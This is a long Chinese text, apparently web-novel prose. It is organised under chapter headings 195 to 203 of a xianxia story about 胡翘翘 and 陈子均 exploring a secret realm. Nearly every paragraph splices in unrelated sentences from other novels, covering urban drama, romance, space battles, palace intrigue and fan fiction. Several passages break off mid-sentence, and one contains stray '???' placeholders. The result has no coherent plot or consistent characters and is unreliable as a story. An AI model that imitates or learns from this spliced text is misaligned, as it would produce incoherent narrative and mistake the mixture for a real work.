距离山河秘境的开启还有三天时间。在山河秘境之中,所有法术、法器都不能使用,储物袋自然也不例外。胡翘翘的储物袋派不上用处了,所以这三天中,胡翘翘和小青一起动手整理出了一些在山河秘境之中必备的物品,比如水囊、火折子、武器、普通衣物等等。当然,规则也有漏洞,法术和法器虽不能使用,丹城里的孩子,什么都比山里人强,可就一点她们比不了山里人,那就是就地取材。挖野草,宰鸭子鹅,捞鱼,就这帮城里的姑娘,非饿死不可。村民们起先有人笑话她们啥也不会,笑着笑着,就主动去帮忙了。唐风走出了酒吧看着天上那白云,把蓝天突然觉得自己心中有着一股子兴奋,年轻人的轻狂和无畏无惧又回来了,不再瞻前顾后。虽然也是破损的神通,但是前面三篇却是完整的,可以让他练到天阶。“你们镇上有卖草药种子的吗?”冯晓晓也不矫情,接过银行卡,继续要做的事情。“肖大哥!你现在可是龙海市的英雄!更是我的超级偶像!”黄大少冲上来对着肖云飞就是一个大大的热情的拥抱。其实张东海是违规了,理论上这家店是朱莉的,张东海是不能代替朱莉这个老板给人加工资的,可是张东海仗着朱莉爱她,竟然替朱莉做了主。唐风冷漠地看着无喜无悲,叶谦的确是一个儒士的模样,他慷慨地赴死。李天启闪身躲过砍来的三把利刃,瞅准时机,伸腿将左侧的汉子撂倒,那汉子以为李天启只会躲避不会反抗,未曾料到,当即后仰摔倒在地,那柄弯刀脱手也被甩出了数尺开外。那密集的火力网随机交叉,雨点一般的激光光点密密麻麻地在空间里到处乱飞,无数的甲星战舰在火力网之间穿行飞过,又同时发出自己的舰炮攻击,先是不管不顾地把所有的舰载导弹都蒙着眼扔出去,反正敌人又不会躲避。白娘他们看见老飞睁开了眼睛,知道这里的阵法已经被朗飞破解了。他把战舰护盾分为六个级别,预言了未来太空战之中可能出现的护盾类型。他跟许舒的亲事更多的是两家老人的安排,他们两个更像逆来顺受。袁秋容此时一直等着李云枫的回答,此时见李云枫如此说道,眼中也是异彩连连。在李清郗打开玉瓶的瞬间,李清郗、朱儒和林锦曦便感应到了其中所盛的灵泉之水的数量,一时间,又全都被惊呆了。自古以来,无数的圣贤都在思考,我们所生活的宇宙,其本质到底是什么?就在蒋院长思绪万千的时候,外面忽然又有一辆商务奔驰驶了进来,这让蒋院长大为惊讶,他虽然只是一个福利院的院长,没权没势,但是不代表他没眼光。从这辆商务奔驰s350的配置来看,价格起码在140万以上。这种方法,羿姝都是没想过,即便想到了,也是不会说出来的,毕竟,如王开这等年纪轻轻的天才,怎么可能会答应入赘之事呢?就要死到临头了,有什么可得意的!……塞浦路斯水手们心中不忿地想着。卓月说着,由于担心天生的身体与精神状况,就想要将他手中的酒坛子夺过来。但是他也没有想到这次的围剿会布置得这么详细,就连他们准备的最后逃生之路也被堵住了,如果冲不开这里,那么今天就是他们的死期,所以黑发鬼此时就是在拼命。 第195章 雨夜来人 我带着兴奋的眼神点了点头,手拿斩魔剑对着古青衫和铁尸就攻了过去。冯大志现在对于阴谋诡计的东西很敏感,他也吃过闷亏,被杨明打过脸了,所以他要一切都力争毫无破绽。在克利西斯远处,张雪手中拿着一张纸条,默默的留下了一些泪水。叶婷也不知道了,王元看起来也不像是缺钱的人,至少自己在掌握整个叶家之前,恐怕自己是帮不上他了。见这么好的机会,三重爪击开启,蛙人头目血量顿时哗哗的往下降,等三下攻击过后,这蛙人头目已经是重伤了。岭南大学中,有三次,伍樊无法拒绝令狐月的邀请,就和她到校内的咖啡厅坐一坐。每一次,伍樊都是简单地和她交谈一阵,便以有要紧事要办,告辞而去。此时,麻生奈未已经从境界之中脱离出来,整体实力没有之前的一半。勾勾手指让麻生奈未放马过来,麻生奈未举着手中的武士刀拼劲力气冲向雨诺。窗外风声大作,刮得窗户呼呼做响,陈斌看了看漆黑的窗外,把窗帘拉上。杨明抬头看了一眼这家牛肉店,是一种汤锅样式的炖菜,已经在这条街上开了几十年了,来的人特别多,很多人都是从老远的地方专门来这里吃饭的。可是现在便不一样了,两国交恶,这里便成了穷山恶水,民风彪悍,封建落后,常年累月的征战,幻城周围白骨成堆,一片狼藉。李建伟在旅店门口跺了跺脚,把脚底踩着的雪渣荡掉,然后才推开门走进去。“不是让你回去吗?怎么过来了?”她挥挥手,让道童放他进来。云风此时没有说话,眼眸低垂,其中涌现着浓郁的恨意,五指缓缓握起,云风伪金丹境的气势威压竟然不受控制的缓缓散发而出。韩映秋一直没想明白,为何从一开始,洛扶柳就对她这么大的敌意。刚愎自用,指的是不听人言,始终认为自己是对的,哪怕是自己错了,也不会认为是自己错了,也是认为别人错了。家产她不在乎,毕竟有手有脚,怎么都能养活一家人,但这房子对她们来说意义不一样。方瑶看到这一眼,直接吓得坐在地上,身下一股热流,散着难闻的味道。剪发的时候理发师问我怎么剪,我自嘲的笑笑说剪一个能让未来岳父喜欢的发型。理发师呵呵一笑说了句明白便开始操作了起来。“能控制毒素扩散也行。”邓鸿点点头,对这种结果也不意外,能控制住已经相当不容易了。这一问本要离去的众人皆又停下脚步回头看着我!向东这家伙真是哪壶不开提哪壶,也不知是他真的喝多了还是故意出我的洋相,竟在这个时候问出这个问题。这事也不会成为哥俩之间的什么芥蒂,因为夜南山和公羊瑶本身就是清清白白的,公羊瑶虽然喜欢过夜南山,但也从未真正吐露过心迹。接到唐枫的电话后,他俩根据刘云磊提供的地址去了城北城南结合区域的一个部队招待所,在那里与刘云磊的七名战友会合,见面后略微寒暄由罗灿东进行部署讲解唐枫的计划。她刚才似乎一直十分沉着冷静,不管是决定出城,还是动手杀人,甚至是瞎蒙乱骗地出城,不过都是被逼的。是为了避忌也好,讨好也罢,提前与梳云身边的人打好关系总是没错的。待巫山失魂落魄的背影一离开,陆心颜立马被某人抱到腿上,以跨坐的姿势。“你再敢起什么幺蛾子,我一剑杀了你!”慕容剑羽语气冰冷,眼神犀利,不似在开玩笑。看来鸡的性别和体量都是按照所选角色幻化的,所以她这个抠脚大汉变成了体格强壮的大公鸡。袁修面色剧变,颤颤微微地接起圣旨,看到上面的日期,是昨日的。“君是君,臣是臣,莫要忘了自己的身份。”荣氏邪睨了她一眼。见叶阳无事,林若然也不再感到那么害怕了,她放下蒙住脸的双手,然后好奇地打量着叶阳的“火拳”。看着这个冲上来送死的人,陈一凡微微一笑,直接一个鞭腿甩出去。王木摇了摇头,随后喝了一口茶,继续说道:“说实话,上尊,这落溪镜之中的天地灵气之浓郁,的确是王某生平仅见,不过,王木之所不已不再这里修炼,是因为,我还有许多事情,等着我去做。我闻言皱眉,是谁偷偷的跟袁天煜商量要买下他的产业,让袁天煜临走的时候打算报复我,然后抛售产业逃跑?在这个世界上,什么都要用实力来说话,没有任何人天生低人一等,也没有人天生就高高在上,一切都要用实力来说话。明眼人倒是看出来金锋这样做间接告诉人自己没空搭理你们,但很多人都在担心一件事。 第196章 虫妖冥蚊 山洞?指的是自己和相公待的这个吗?胡翘翘连忙直起身子,竖耳细细聆听,入耳的是草叶被分开的一阵悉悉索索声,不时还伴有几声呼喊,听位置,果然是离他们这里越来越近了。她看向陈子均,眼神中带着询问,是否需要避开这群来者。陈子均倚在岩壁上,眼眸低垂,朝她摇了摇头。“且静如果是这样的话,为何会多此一举的加上弹眉心,也可以解释的通了。然而薛怀刃胯下那匹马,一路奔着去的地方,恰恰就是万福巷所在。“祖父!您来了!”凌金匀惊喜欲狂地来到凌绝跟前,想不到祖父这么早就来到了卡巴克湖与自己汇合,凌金匀连蹦带跳、神采飞扬。就算是被施了迷阵,也总能慢慢破解出去吧,更何况孟青之最拿手的就是破迷阵,得益于他过目不忘的本领,极少有迷阵能够困住他。谷雨跟斯蒂芬博格打过很长时间的交道,又曾经近距离跟克隆斯蒂芬博格接触过,凭他积攒下来的经验,一眼就能够看出眼前的这个斯蒂芬博格是真正斯蒂芬博格,而不是克隆体。其实君炎心中有数,所谓的感情纠葛根本就是凌金匀单方面的一厢情愿,凌卓就是寻个借口,想要强行带走孟青之。而无论孟青之是否知晓了古月教的机密,一旦孟青之落入他们手中,定无活路。“还不止这一点。”叶穹摇头道,看四周的僵尸武士已经挣扎着起来,并重新手持长刀涌上。姜氏吃惊地瞪大了眼睛,仓皇间失手打翻了一旁的药碗。浓稠黑褐的药汁便蜿蜒流淌了一地,散发出浓郁的苦味来。虽然还没想起来是谁,不过那可是一个一米八的大帅哥,王燕还是很乐意收下的。郎太一发出巨大而尖锐的惨叫声,断掉的手臂如鞭子般拍击左右的墙壁和地面。真的不行,就只能暴露以太了,虽然那样会很麻烦,但应该可以逃过这一劫。苏弥不用看,也知道是谁,不由的闭起眼,这是什么孽缘,为什么一回来,就能遇上这一对奇葩。他还记得初初见到她时,是在阳光明媚的午后,她穿着一袭打着薄薄补丁,洗得发白的老旧春衫立在自己的跟前,哪怕是如此,也却根本不曾折了她丝毫的风采。“我相信学长不会的。。”沐毅轻笑着说道,不过他还有一句话没说,就算是你想让抢也没有关系,你也不会那么容易得手的,纵然我可能打不过你,但是至少我想要离开你拦不住我。。说完,她仰头喝杯里的白开水,只是刚喝下去,她懵了,杯子里的不是白开水,是酒。“马先生也是本郡主佩服的敌人,能让我狼狈倒那种地步,先生果然是名不虚传。”梓锦笑。苏弥听见相好两字,而且还带上自已的名字,脸色也没好到哪去,皱眼瞪他,怒极表示。顾长生眼睁睁的看着走在自己身前的自家妖孽,抬起了脚,然而,脚却停在半空中,始终没能靠近楼梯一步。她也不提宿心临暗地里做的那些事,毕竟,秋晚烟跟这些都毫无干系。眼前有些模糊让我看不清楚,我使劲揉了揉眼睛尽量让自己看清楚一些,不知道这些人是敌是友,看起来人数也不少。“找死!”我挥手一爪往柳幻身上抓了过去。我知道自己绝对伤不到柳幻,为了逼真,干脆一上手就用了杀招。五道劲气从我指尖迸射而出时,柳幻忽然抽身退后,把一个正气门弟子拽过来挡在了自己身前。 第197章 缝衣服那样缝 中年男子抬头,循声看向在他们到来之前,便已先在洞中的那对男女。 此刻,两人中的女子倚在岩壁上,她样貌平平,只是一双眼极为灵动妩媚,正充满了好奇地望向身边的男人。而方才说话的便是男人了,他盘腿而坐,黑眸深邃如潭,平静地注视着几人的方向,仿若一切尽在掌握。 中年男子心生疑窦。 在步入修 “可不是就是,威远侯可是放了话出来,说定要把那乱嚼舌根的人千刀万剐,以证威远侯府的清白。”徐习远也笑。 想透了这一点,换成旁人,都觉得事已至此,多说也无益,到不如说些好听的。 说起来上一世平地侯的正妻还是张淑波往日里的好友赵雪茹,因为她的帮衬,让张淑波为贵妾,赵雪茹可一直与她关系淡淡的。 也不知从什么时候起,他不再出去摆摊了,不是在外面打牌,就是在家里喝酒,三张嘴坐吃山空,我初二那年,他突然去学校给我办了退学,让我出去打工挣钱。 月月率先把风衣脱了,之后是围脖,接着把墨镜摘了,最后把口罩一摘,却是把在场的人都吓着了。 说着,玉手沿着阎十一的胸口抚摸到他的腰间,长指甲掐住腰上的一丁点软肉,狠狠一掐,疼得阎十一立马跳了开去。 毫无疑问,在未来的一段时间里,茅山必定会派大批高手来捉拿我。 原本是两个主子之间说的话,月红却侧着耳朵一直听,待听到自家姑娘的那句话时,脸白了又白,心知她的身份醒上二公子,可是想到二公子中意的是国公府的许姑娘,将来有一天要是娶了许姑娘、、、脸‘色’越发的难看。 想到了这里,秦戈开口,声音低沉的说道,言语之间满是无奈之意。 第一名死者刘伟,死在出租屋里,无业,游手好闲,靠妻子养着,爱好喝酒赌博,喝醉了就对妻子家暴。 “听从我的命令,乖孩子。”男人等待着,右手空悬,仿佛知道有什么东西必将出现一样。 其中甚至还有一些神灵特意派遣了自己的分身参与血战,抵抗无底深渊,同时为那些愿意保卫恩塔格瑞世界的勇士们提供帮助。 只见赵泰来双拳紧握,一挥而出,海面之上,巨浪滔天,数十丈高的大浪,形成了一面高墙,护住了下方的所有人,而他自己,则站在了海浪之上,轻轻一握,一条海水形成的蛟龙,从海浪中升起,一声龙吟,震天动地。 “真的?你真的会绕我一命?”它眼巴巴的看着杨言,弱弱的问道。 猛兽奇珍在这片森林中时常出现,来自于上古时期的可怕生物们在这里竞相争斗,不过无论是短面熊还是帝王鳄,它们都要向这片森林真正的主宰让路——拥有高贵蟑螂血统的人类们,那些蟑螂人。 张三与李五,与现在剩下,半条命冯七,侥幸的逃出,地宫大殿内,是不是?有点太轻松。站在监控室,里面陈玄冥,越想越不对,警察的搜查,只搜到两件,贵重的宝物,金鼎的碎片,两枚的玉牌。 就在纸鸢还想说话的时候,一旁的服务员已经端着咖啡和橙汁过来了。 他像一道闪电般出现在了一只蟑螂身前,拳头重重地砸在了它的脸上,将它的身体打飞。即使受到了这样足以杀死任何人类的攻击,它的甲壳也不过是略微凹陷了一点罢了。_ 第198章 女人麻烦 这般尾行通常会给猎物带来巨大的恐惧感,说不定直接就崩溃倒地。不过众人都是修士,心理素质的强大程度与凡人不可同日而语。荀丘生也发现那群怪物还在洞外虎视眈眈,蠢蠢欲动,皱眉道,“看来它们不死心,是不会走的,算了,它们一时半会也拿咱们没办法,先填饱肚子再说,也好恢复些气力对付它们。”远处的火光仍在燃烧,月亮淡淡照在院中,有微风轻轻吹来,白杨树叶莎莎的响,似乎也在叹息着人间这无味的争执。裁判吹响了比赛结束的哨音,根据联赛杯规则,双方球队在180分钟主客场赛事结束后进球数相同则进入加时赛,客队进球并不占据任何优势。有些事情,当你不知如何去解决的时候,上天却偏偏就给了你这样一个机会。只要你在王八的步伐里加入了猎豹的速度,这绝对是一种不守规矩的手段,云峥不想当一个官场上的异类,那样的家伙不要说做事情了,能否安全的把官当下去都成问题。当初在聘请这两名杀手的时候,他可是花了大价钱,就算是这样对方还是不愿意接受,直到看到王艳柔的照片,这才决定了接受这次的刺杀任务,想到当时两名杀手看到照片中王艳柔模样时,那口水直流样子,汪洋都很不屑。这一个月来,秋玄也不是只研究了这一门功法,也把太极拳给融入了到了平常的一举一动之中,再也不弄拘于太极拳的招式,就可以用出太极拳的奥义了。从此秋玄的对于太极拳有了长足的认识,太极拳的威力更加的强大了。密格列西奥扭头看着菲热尔,当服务人员搬来椅子让菲热尔坐下的时候,实际上这次谈话已经成为了单刀赴会。有些问题她简直不敢继续往下面想,想到都会疼痛。可毕竟那些是未知定数,她因为那些未知,就一味的否决他?就算她嘴上说那么多,可心里却还是遏制不住想靠近他的冲动。这是老皇帝临死前特意交代的,他死之后,不举行国丧,太子守孝九日之后即便临朝。除了到处都是的守卫枪手,尼尔斯庄园的豪华与占地面积,同样让卓云震惊,当然这也是在瑞典的首都斯德哥尔摩,如果是在华夏都城想要在市区的位置购买这么一大片土地,估计光是地皮的价格就算是尼尔斯都要心颤。叶凌风丝毫不惧,他也用内力在水面上形成一朵绽放的白莲花,破开了秦啸天的八卦图形。问过了欧炎,说两人出院没什么问题,反正明天也要飞回帝都了的,该准备的就今晚一起准备,搬回蔡家城堡算了。虽然不知道祁月在那薛岳的心目中是一个什么样的地位,但是不可否认的是薛岳对祁月有用心,所以……这可儿留着也许在之后有用也说不定。“我不喝,我不喝……我要去找大叔,我要陪着他们……”许久久突然发疯拍了过来,将那碗药给打翻了。看着四个光溜溜的墙,苗诀杨最终将目光定在了那副有画的墙壁,要说特别就这幅画特别。拳头绽放这金光出现在宁落的面前,算是宁落伸手,将杨天金色的拳头挡了下来,但是却依旧被轰飞了出去。走进来的是一个面黄肌瘦的中年人,李卫东把了把脉便将病情了然于心,这种病症他见过,体内有寄生虫而已,随手打发了。 第199章 阴谋暴露 陈子均检查了一番汤原的伤口。  这一刀斩得及时。  失心虫的虫卵还没能孵化出来,占据汤原的身子。  听到他给出的结论,众人齐齐松了口气。  荀丘生找出了伤药,替汤原止血包扎,中途,汤原幽幽地苏醒过来,惨白着脸,对豹妖道:“多谢道友及时出手。”  豹妖耸耸肩,“不客气。”  汤  所有生活在木叶的居民,大致可以分成两种,一种是忍者,一种是普通人。  想到这她转过身来看向百姓们,突然胸口涌上一股腥甜,忍不住一口血喷了出来。  “大胆,你竟敢说灵霜县主不要脸,该当何罪!”耿星霜大喝一声。  阿衰就静静的坐在便利店的门口,但是四周的人似乎完全无视了他的存在。  柳仲卿摆摆手,这种事何其简单?他自会帮宁罡铺好路,让宁罡一帆风顺。  听到这里,商七郎也有些心动,而后点点头,跟着母亲就乘坐了另外一辆车马驾直奔福王府。  此前顾少虞一直都在养着病,所以就将他关押在了邢家的暗牢之中,顾少虞一直都没有与他见过,今日办好了罗原的丧事,他也该好好的与这匡玉君清算一番了。  要知道,在这灵气稀薄的世界,只用一天时间就引气入体,虽然有灵泉水的功效,更多的是李钰的修炼天赋和对功法的领悟能力。  李云兴可是信守承诺之人,当初他答应要给许青介绍名医,他看向白芥子。  两人往外走着,印暑秋的手滑过夏冰的手背,他已经不是青涩的年龄,但确定一份感情,都需要一个刚刚好的契机。  “古默是谁?原谅我孤陋寡闻,没有听过!”云荼一贯软硬不吃,此时自然不例外。  慕曼然现在脸色惨白,眼里带着无限的恐惧,看起来倒是挺可怜的。  “不用,不用,茶就挺好,之是郁经理的茶太好了,不舍得喝,”雀巢也是速溶的,怎么能与手里的茶相比。  高档的丝质睡衣料子很软,她感觉自己仿佛能看到男人完美的肌肉。  在他的这条动态发出来之后,粉丝也纷纷明白了,这肯定是有人故意在背后设计的。  他说了这句话最直接的后果就是我把薄毯子收走自己回到床上大睡,不再理他,甚至第二天也没跟他说过一句完整的话。跟在他身后,看着他挺拔的背影,我不时觉得心烧,还有气馁。  权贵世家有自己的田庄,自己的暖棚,不稀罕富贵山庄的暖棚蔬菜。  无意中遇到吕思清给一个全身长满了疥疮的乞丐开方子,不由得多嘴了几句便招来一场声势浩大的“煮人”事件,刚一处理完乞丐身上的疥疮,便被东方家的人很不客气地请到了定王府。  她退了一步,从那水光中退回去,便立刻听到了鬼界到处追兵的声音。  “为什么?”白沐看着他,刚刚系统提示她的时候还说是六间房子的大院,应该够住。  清晨的京城有些寒冷,连呵出来的气都似乎能结成白霜,徐炆玔带着几个随从骑了马往普安堂赶了过去,心里边十分焦急,也有几分期待。钱不烦会不会替自己去给她送信?她会不会出府来?  太子非常的激动,不管振兴来信的内容如何,好歹振兴给自己写信了,有了难处知道跟自己求援了!这是太子梦寐以求的事情,是他日思夜想的事情。 第200章 遭遇牛群 他和封云天算是有过几面之缘,关系不错,这次费了这么大功夫,连冥蚊都搭出去一只,临到末了,还是没能救下他的性命,心中十分酸楚难过,此刻连眼圈都微微泛红了。  陶海大笑,笑得眼中  “我之前已经预定了!到时候拿出来正好了。呵呵,呵呵……”叶寒干笑两声,朝凤枫华投去的目光,竟带着几分讨好。  因为方木的原因,剧情也发生了一些变化,本来篮球赛的时候,春原阳平的妹妹春原芽衣应该也在了,但因为方木的原因,篮球赛比原著要提前了几周。  由于甬道的上方支撑这地面,此时还有部分没有倾塌,就在上方摇摇晃晃的瞬间,外面的几人赶紧出动力量,迅速将甬道里的人连拖带拉。  这天白天,原本应该困到一碰到枕头就着的丁雨萌,竟然前所未有的失眠了,她感到焦虑,那双满是嫉妒的猩红色的眼睛一直盯着她,让她心里发毛。  最后项将集结了一千人马下山而去,这一千人全部换上了云州官兵的衣裳,连手上拿的兵器都是云州制的。土溪山和云州赫州互相争斗了这么多年,得到这么些衣服兵器都不算困难。  陆惜雨少与人斗法,而且现在李浩然在身边,她不敢冒险,所以一开始便打定主意逃跑了。  丁雨萌不解,她又抬头看了看天,果然,刚才还艳阳高照的天空竟然一下子阴云密布,隐隐还有几滴雨落下。  “他能去哪里,他唯一能去的地方就是家里,去家里找他吧。”沈老面带微笑的说道。  但我根本不知道陈湘就躲在后面偷偷看我们,也没想到我妈从楼上看到我来了就偷偷从房间跑出来找我,而且她一眼就认出了陈湘,因为放假那些天我竟然对着陈湘的照片发呆,有一次被她看到了。  我在停车场又遇见吴灿跟他的助理,助理倒车的时候吴灿在外面等着,本来我想过去跟他说声抱歉的,结果他朝着我冷哼一下。  倒不是说仙圣宗怕了道阴宗,而是因此和道阴宗结仇,毁了三大上宗的同气连枝,就有些不值当。  看到魔御+2防御+2的生铁戒子,胡青还是很满意的,这加上皮手套和布衣,他的防御和魔御可以都增加5。  王嫂急的有点不知道怎么辩解,花姒锦这下也不知道该怎么办了。  听着天玄子的话语,江野唇角不禁浮现起一丝嘲弄,心道这天玄子还真是病急乱投医,竟是连血契都整了出来了。只是按照他对周公瑾的了解,周公瑾在听到这话后,恐怕除了嘲弄外不会再有别的反应。  只是,对方迟迟不动手,又令林秋涯有些猜不透,对方的真实目的是什么?  秦家后代,最后竟混到了销声匿迹的地步!现代人研究秦家的事儿,靠的竟是一个八品芝麻官秦利见的墓碑?  “外面好冷,我们赶紧进去吧。”吴恋萱笑逐颜开,兴冲冲地跑在前面。  听着这话,第五嫣然与苏山互相对视了一眼,说句实话,其实他俩对进入也没有抱多大希望。不过看着钟三郎此时的表情,他们还是配合的点了点头。  这次唐水华终于发现了陆浩然车前后已经打开了双闪,看来是因为故障而不得不违规停车的。 第201章 上有鬼车 这声音众人再熟悉不过,这一天已经时不时地回荡而起,只是之前它最近也在数里开外,此刻这一声,骤然就在不远处炸响,一时间连追来的暴牛群的脚步声都生生压了下去。  暴牛群原本气势汹汹,埋头直冲几人而来,冷不防这一声响起,牛群骤然停滞,原本狂暴的冲锋戛然而止,变成了迟疑不前的呜咽,几头跑在最前的暴牛直接  “你对谁的印象还不错了?”穆流年人没进屋,这清越的声音倒是先穿透了门窗,飘进来了。  因为容臻很可能就是他们天山一族的族长,将来她回到天山一族,同样可以命令他做事,所以现在做和以后做是一样的。  贺青已处于戒备状态,只要那伙即将闯进来的盗墓有动静,他就会反击。  面对一个各方面都不逊色于自己的深渊恶魔,历来强势邪恶的亡灵巫妖也成了彬彬有礼的施法者。  如果说太空里面双方还可以打个有来有回的话,毕竟罗菲尔德家族的机动力也不错的,但是在地面上,双方之间的实力根本就没有多少对抗的选择了。虽然说罗菲尔德家族这里在地面上有同样茫茫多的重型单位。  相对于苹果来说,安卓的问题更大,因为想要删除,很难,安卓市场完全是公开的,有各种各样的办法安装,最重要的是,安卓手机完全是公开的,各种下载软件根本不用非要从安卓市场里面下载。  至少,没想着让他上战场去送死,也没有想着,在战场上去极力的打压他。  容臻多看她两眼,吴清霜感受到容臻的视线,立刻温婉的向容臻示好,脸上满是温柔的笑容。  他一言落,手一伸便把这人卸下的下巴给投了上去,此时的他即便合上了下巴,也没有一丁点的力气都去咬舌自尽。  “叽叽,咕咕。”不远处不知道是什么生物发出了古怪的叫声,接着是一片翅膀拍打的声音。  看孙重休息好了,吕枫也打算上台了,谁知却被辰星抢了先,笑了笑,也就收回了步伐,反正不急,如果猜的不错,剩下的三场,孙重是赢不了的了。  “哈哈,就不告诉你!”叶婉儿有些得意,就是吊着吕枫胃口不告诉他,吕枫也是无奈。  老者瞬间睁大了眼睛,可是还不待他反应,面前一把火焰长剑便是照着他砍了下来,而老者只来得及抬起手。  这么多年来,你师门所传的独门内力,你可是练得更上一层楼了吧?唳形绝影,杀的人越多,戾气越重,功力越强,练至上乘,即便是有神器的内力深厚之人,也难以捕捉到你的身影.,如今的你,也离那步不远了吧?  虽然不爽楚风的态度,但是有关大唐威仪,李重俊还是知道轻重的,要是他表现的蛮横不讲理,说不定第二天朝堂之上,就有人参他一本,所以他只能耐着性子,咬牙切齿的说道,眼中的阴毒清晰可见。  “我这次出来准备在外面多待一段时间,如果不是在这边耽搁了,我应该已经去其它地方了。”赵四说道。  通过玉衡摄取了太子长琴的仙魂,楚风可没有像龙渊部族这么暴殄天物,将他作为器灵使用,而且直接施展秘法,在仙魂还很虚弱的时候,直接吞噬了他,得到了太子长琴的很多记忆,其中就包括他的知识。  伴生之灵有灵,它的气息钻进天花老祖虚弱的身体,狂风暴雨般的肆虐一阵,然后回到了晶体之中。天花老祖原本就已经气息奄奄,此时更是浑身抽搐。赵蔺上前一掌补在他的心口处,然后自他手中拿过伴生之灵。 第202章 又没有人 并且在巴图对他攻击的时候,他几乎都是在闪躲,从没有正面进行攻击。原来如此!顾北恍然大悟,没想到晴儿的身世如此凄惨,这是顾北做梦都没想到的。“不由你。我说了,这是你的命。”燕白飞盯着郭羊的眼睛说道。把老鸨看的心肝颤颤,左右为难,不知该如何是好,然后看了一眼已经从后台走出来的琉璃。“萧管事,你老实回答就好,不该你知道的少问。”萧然眼神不散的盯着他,大声喝道。只是最后,沉默了一下,大叔佐助却并没有在多说什么,他身形一闪,离开了这里。这一场比赛变得很是曲折,陆明本应该对付的就不是巴图这样的强敌,当然这里边的蹊跷也不是现在可以解释清楚的,陆明只是静静的在台上等待,看看他们如何解决。“娘子,他们可是我们的媒人哩。”顾北被瞪得左右顾盼,挠挠头说道。那就去找马贩子,没有纯白色马匹,那就黑色,只要毛色相似就行。这个声音一想起,顿时属于照美冥阵营的忍者们,尽皆是大声欢呼出声。“因为,她是我的血脉后人,”那红色骷髅道,一句话便足以证明他的身份了,他就是骷髅妖王美江山。正因为如此,对卢嘉栋的钦佩之情,也逐渐消失,甚至觉得自己可以与他平起平坐,甚至于还要高出一线,于是对待卢嘉栋的态度也有所转变,连带着对“猎鹰”防空导弹系统也有着不同的意见。那树精发出一树怪异的痛声,树上的叶子一阵抖颤。像人一般在抖。一千亿的功德值听起来很厉害,但是具体的功能是???对于这???枝夏想要吐槽很久了,记得自己的围巾上也有???的特殊属性,有一次在关键的时候救了自己一命,看起来很厉害,不过???到底应该怎么解决。老者下意识抬头,看到空中人影的同时就跳了起来,下意识动作将时刻被他抓在手中的一张纸撕碎。然而她突然尴尬地发现,自己对秦凡的了解几乎等于零,除去秦凡救过她几次外,他们之间的交流接触几乎没有。待一切都恢复平静之后,杨轩睁开眼睛,看向眼前,就见到一片青色的水滴漂浮在自己的面前,青灰色的液体在杨轩的面前缓缓的漂浮流动着,隐隐的透出一股别样的香味,闻上去甚至有种心旷神怡的感觉。此时看到叶一鸣的出现,顿时有种接近疯癫的状态,低吼一声之后,鸿蒙八重巅峰的气息顿时散发出来,可不知为何,叶一鸣却能从龙晨的身上感受到极为浓郁的危险气息。廖夷白是孙大先生身边的实干派,太过务实的性格,让他时常忙碌在琐事之中。地位要比汪兆铭等人差一些。主要是他性格中缺乏张扬的个性,不喜欢出风头。熟不知叶一鸣最恨的就是这种拿着正义口号做邪恶之事的人,立刻就让原本没有收回神国的拂尘子出手。“所以,西凉不应索取如此之多的工匠。朝廷出于赏赐的考虑,可以赏给刘范三百名!”区区工匠,杨彪还不太在意,这些最低贱的人,其实给多少他都无所谓,只是要和刘诞争上一争,毕竟有道是不蒸馒头争口气。他一口气不喘地说完了长长的一句话,然后动作娴熟地转过我的身体,封住了我的嘴唇。“就是这样的!上午的时候她来看她,还给她戴了假发,化了妆,换了衣服和鞋子,与她平时的风格一模一样!炸眼一看我以为是她!”那名本来就对我无好感的护士理气十足地盯着我,大声地冲葛警官他们说道。果然,当刘范皱着眉头在饭桌上向母亲、娇妻们还有两个兄弟关于出征西域这个消息之后,原本觥筹交错、热闹非凡的饭桌立即静了下来。静了许久,母亲黄氏和娇妻们只得接受这个消息,既无奈又无力。“我看应该是这样,屠舒的那性格太容易得罪人了,一定是在学校得罪了谁。”吴鑫肯定的点点头,表示同意对方的观点。赵蕙放学回到家里,她边写作业边想:李掁国的笑很特别,我不知道是不是真的很喜欢他?就这样龙暴天王的四路围歼计划,因为怀志大师带领众弟子进行全面反击而失败。更重要的是,自己的龙暴山竟然被官军侵占,使得龙兽妖将士一个个都无家可归,不得不侵占狼族的领地进行修正。大早上的,林鹏就被一泡尿给憋醒了。一个翻身跳下床,三步并两步的跑到厕所去了。“看样子,姑娘是不肯喽?”黑风边说边用下巴颏点点前方正在发怒的米兰和左轮。赵蕙非常喜欢在海边玩,她仿佛回到了童年时代,光着脚在海滩上拣贝壳,捉螃蟹。李振国一直陪着赵蕙在海滩上玩儿,直到傍晚大海退潮的时候,他们才上了岸,到街上的饭馆吃了晚饭,便回宾馆休息了。 第203章 秘境来由 听陈子均的语气笃定,众人将信将疑,好在有鬼车鸟在,大不了打不过,往天上逃便是。穷隆总不可能突然长出翅膀。 众人又商议一番,夏涵和荀丘生决定留在山谷中。面对穷隆,他们是累赘,遑论帮忙,不拖后腿都是万幸。 豹妖、陈子均和胡翘翘,三人分乘两只鬼车鸟,连同余下的五只鬼车鸟,再次前往之前遇见穷隆的 林雅意每天做好护士的工作,还毫无怨言地照顾周悟凡,被他呼来唤去,这样的时光坚持了已有两年。 当然了,林云此刻并没有想把事情闹大的心思,他想的是,只要能解决得了,不再来找麻烦就可以了。 薛明月和夏霄都去了邻居家串门,夏梦不愿意出门,干脆把家里收拾了,之后又把衣裳洗了。 安阳站在医院的病房,目光地望着窗外的朗朗星空。听到他这一声带了哽咽的称谓,嘴角苦涩又难受。 他急忙向着远处看了过去,随后,猛然低吼了一声,就直接向着秦风所在的方向冲了过去了。 卞玄就近找了一家叫m的连锁酒店住下,他入住下来,刚刚放好行李,就有人来敲门。 至于体术初级则是格斗术,子弹时间这个技能在用出来了之后,叶墨看所有的物体运动速度都会减弱到原本的十分之一。 不是林云不敢说是张萍从国外寄回来,林云怕把张萍说出来,到时候惹得张萍不高兴,追究起林云开错锁的责任来,就有点得不偿失了。 他跟周昱说话还有一个目的,是想借机靠近他,看卡片上写着什么名字。 夏明安没有马上做回答,而是看了一眼夏明远,毕竟他和夏依依没有任何的血缘关系,这件事恐怕也要同夏明远商量才好。 众臣见天子醉倒,纷纷起身告退,妲己命左右侍御宫人,扶天子回寿仙宫休息。 “秦朗,你怎么来了?”本来还以为上古巫族这次是在劫难逃,帝江的心在滴血,但他没想到的是,秦朗竟然杀入其中,明显是在营救巫族的高手,这让他看到了希望,激动无比。 让秦朗惊诧无比的是,回去的路竟然消失不见,哪怕秦朗往回走了近万里也没有再感觉到封印的存在。 